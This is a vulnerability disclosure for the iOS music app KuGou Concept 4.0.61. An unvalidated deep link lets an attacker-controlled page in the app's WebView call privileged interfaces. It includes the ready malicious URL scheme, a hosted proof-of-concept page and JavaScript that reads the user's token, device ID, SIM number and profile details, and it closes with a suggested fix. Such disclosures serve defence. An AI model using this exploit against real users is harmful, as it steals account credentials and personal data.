

# An information leak vulnerability in the iOS version of KuGou

## Concept

### Brief Description

KuGou Concept app is a music application that provides functions including music playing, music downloading, etc. It ranks #8 in the "Music" category list on the App Store of China Area (as of 2024-12-13).


The iOS version of the KuGou Concept supports opening web pages from external deep link URL (Scheme). Within the built-in WebView, there are **custom interfaces** designed for invocation within web pages. These interfaces are not publicly exposed, but through reverse engineering, we can discover how to invoke them. We found **there lacks a domain name validation** when these interfaces are invoked.

Thus, an attacker can craft a **malicious URL (Scheme)**. When clicked by the victim in a browser or another app, the URL (Scheme) can direct the victim to the KuGou Concept app and open a web page controlled by the attacker. The attacker can then invoke privileged interfaces, **obtaining victim's personal information** (such as Gender, Region), **obtaining victim's account information and credential** (such as NickName, UserID, Avatar, Token), **obtaining victim's device information** (such as DeviceID) and **interfering victim's normal use** (such as crashing the app).


### Vulnerability Exploitation Process and Root Cause

The attacker, lures the user to click on a malicious URL (Scheme) in the following format: **KugouYouth://start.weixin?{"cmd": "303","jsonStr": {"url": "https://attack.com/attack.html","title": "", "openType": 1}}**. Here, "attack.com" represents a domain under the attacker's control. In our experiment, we use "https://zhouziyi1.github.io/iOSJS/kugouconcept/atkKugouConcept.html" as the malicious webpage.

When the victim clicks on this URL (**KugouYouth://start.weixin?{"cmd": "303","jsonStr": {"url": "https://zhouziyi1.github.io/iOSJS/kugouconcept/atkKugouConcept.html","title": "", "openType": 1}}**), it directs the victim to the KuGou Concept app and opens the webpage **https://zhouziyi1.github.io/iOSJS/kugouconcept/atkKugouConcept.html** within the app.



Within the webpage, the attacker can then invoke privileged interfaces and perform malicious behaviours such as **obtaining victim's personal information** (such as Gender, Region), **obtaining victim's account information and credential** (such as NickName, UserID, Avatar, Token), **obtaining victim's device information** (such as DeviceID) and **interfering victim's normal use** (such as crashing the app).



Part of the code for JS to call OC and the callback function defined in JavaScript are shown below:

```
function mycallback_101(res) {
    var json = res;
    document.getElementById("Region").innerText = "Your Region: \n" + json.overseas.info.cc;
    document.getElementById("NickName").innerText = "Your NickName: " + json.nickName;
    document.getElementById("Token").innerText = "Your Token: \n" + json.token;
    document.getElementById("AccountAvatar").src = json.photo;
    document.getElementById("Gender").innerText = "Your Gender: " + ( json.dataVip.data.sex === 0? "male" : ( json.sex === 1?
    "female" : ( json.sex === 2? "secret" : "unknown")) );
}
setTimeout(function() {
    fetchData('kugouurl://start.music/?{"cmd":101, "callback":"mycallback_101"}');
}, 5000);

function mycallback_151(res) {
    var json = JSON.parse(res);
    document.getElementById("SIMNo").innerText = "Your SIMNo: \n" + json.simno;
}
fetchData('kugouurl://start.music/?{"cmd":151, "callback":"mycallback_151"}');

function mycallback_1092(res) {
    var json = JSON.parse(res);
    document.getElementById("DeviceID").innerText = "Your DeviceID: \n" + json["KG-DEVID"];
}
setTimeout(function() {
    fetchData('kugouurl://start.music/?{"cmd":1092, "callback":"mycallback_1092"}');
}, 1000);
```

## Impact of the Vulnerability

**Scope of the vulnerability:** KuGou Concept iOS version 4.0.61 (the latest version as of 2024-12-13).

**Consequences of the vulnerability:** Information disclosure.

**Download Link For Affected Application:**

🔗 CN:

<https://apps.apple.com/cn/app/%E9%85%B7%E7%8B%97%E6%A6%82%E5%BF%B5%E7%89%88-%E9%85%B7%E7%8B%97%E9%9F%B3%E4%B9%90%E5%8C%A0%E5%B F%83%E5%87%BA%E5%93%81/id1480205582>

## Possible Countermeasures

Should implement more strict domain name checks before the invocation of privileged interfaces.